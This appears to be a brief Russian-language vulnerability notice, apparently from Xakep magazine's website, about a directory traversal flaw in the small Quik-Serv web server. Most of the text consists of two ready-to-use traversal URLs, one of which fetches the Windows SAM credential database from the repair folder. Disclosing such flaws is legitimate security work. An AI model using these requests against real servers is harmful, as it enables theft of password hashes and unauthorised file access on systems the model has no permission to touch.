Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Quik-Serv - маленький и простой в настройке Web-сервер.
Как и все маленькие и недоделанные сервера
этот страдает раскрытием файлов любому
понимающему:
http://server/../../../winnt/repair/sam
или
http://server/../../../winnt/win.ini